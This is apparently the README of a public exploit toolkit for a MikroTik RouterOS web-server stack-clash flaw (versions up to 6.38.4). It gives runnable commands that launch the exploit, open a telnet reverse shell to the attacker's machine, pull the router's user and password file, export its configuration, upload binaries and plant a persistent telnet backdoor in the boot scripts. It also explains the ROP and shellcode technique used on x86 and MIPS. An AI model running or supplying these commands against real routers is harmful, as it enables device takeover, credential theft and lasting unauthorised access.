Chimay-Red

Reverse engineering of Mikrotik exploit from Vault 7 CIA Leaks

See the PDF for more info (not updated)

Vulnerable versions

Until RouterOS 6.38.4

What's new in 6.38.5 (2017-Mar-09 11:32):
!) www - fixed http server vulnerability;

Proof of concepts

CrashPOC

Simple crash sending -1 as content-length in post header

StackClashPOC

Stack clash exploit using two threads, missing ROP chain

Working exploits

As the ROP is dynamically created, you have to extract the www binary from the RouterOS firmware.
(It's placed in /nova/bin/)
Check that the running version is the same.
To simplify extraction you can use:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Stack clash exploit using two threads with ROP chain to run bash commands

Reverse shell:

In a shell:

$ nc -l -p 1234 

In another shell:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Where:

• RouterOS IP: 192.168.8.1
• PC IP: 192.168.8.5

Extract users and passwords

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (wait some seconds that www is restarted)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Export configs

You can execute command in Mikrotik console with /nova/bin/info.
Eg: /nova/bin/info "/system reboot" will reboot the system.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (it's a bit slow to execute /export command)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Stack clash exploit using two threads with ROP chain + shell code to run bash commands
On mips version of www the stack is RWX, so we can jump to the stack.

You can run the same bash command as the x86 version.

LCD

Funny command

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

Super Mario sound

Do not do it! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Upload binaries

To upload busybox-mips in /ram/busybox
In a shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

In another shell (note that this is the reverse shell command):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

and wait until the connection automatically close.
(Once the file is uploaded, run again reverse shell (this time only listening with nc -l -p 1234) and you will find busybox inside /ram/)

Persistent telnet server

You can run script at each boot by creating a bash script in /flash/etc/rc.d/run.d/.
Pay attention to set execution permissions, or your router will stuck on boot and you will have to restore the firmware!
This example enables a persistent telnet server on port 23000.
In a shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

In another shell (note that this is the reverse shell command):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

and wait until Done! Rebooting... appears.
Once the router is up again:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

FAQ

Where does one get the chimay-red.py file, that this tool kit relies on?

This is a reverse engineering of leaked CIA documentation.
There is no chimay-red.py publicly available.

I can't understand how the stack clash work.

I'll update the PDF as soon as I have enough time, anyway:
We know that:

• each thread has 128KB of stack
• each stack of each thread is stacked on the top of the previous thread.

Thanks to Content-Length and alloca macro we can control the Stack Pointer and where the post data will be written.
If we send a Content-Length bigger than 128KB to socket of thread A, the Stack Pointer will point inside the stack of another thread (B) and so the POST data (of thread A) will be written inside the stack of thread B (in any position we want, we only need to adjust the Content-Length value).
So now we can write a ROP chain in the stack of thread B starting from a position where a return address is saved.
When we close the socket of thread B, the ROP chain will start because the function that is waiting for data will return (but on our modified address).

x86

The ROP chain construct "system" string and "your_shell_cmd" string looking for chunks of strings inside the binary and concatenating them in an unused area of memory.
Then we return to "dlsym" function (present in the PLT) passing as argument the address of just created string "system" to find the address of "system" function.
Now we can return to the address of system passing as argument the address of the just created string "your_shell_cmd".

mips

DEP is disabled on this version of www, so I can execute the stack.
But I cannot use system function because "/bin/sh" is not present on the file system, so I used execve directly.
A small ROP (3 gadgets) find the address of a location on the stack (where I put the shell code), and then jump to that address.
In the shell code I populate an array of 4 pointers with the address of the strings "/bin/bash", "-c", "your_shell_cmd" using the leaked address of the stack (the last pointer is left NULL).
Then I populate a0, a1, a2 with rispectively: address of "/bin/bash", address of the array populated at the preceeding step and the address of the NULL entry of the array.
At this point I can launch the syscall 4011 (execve) to execute my bash command.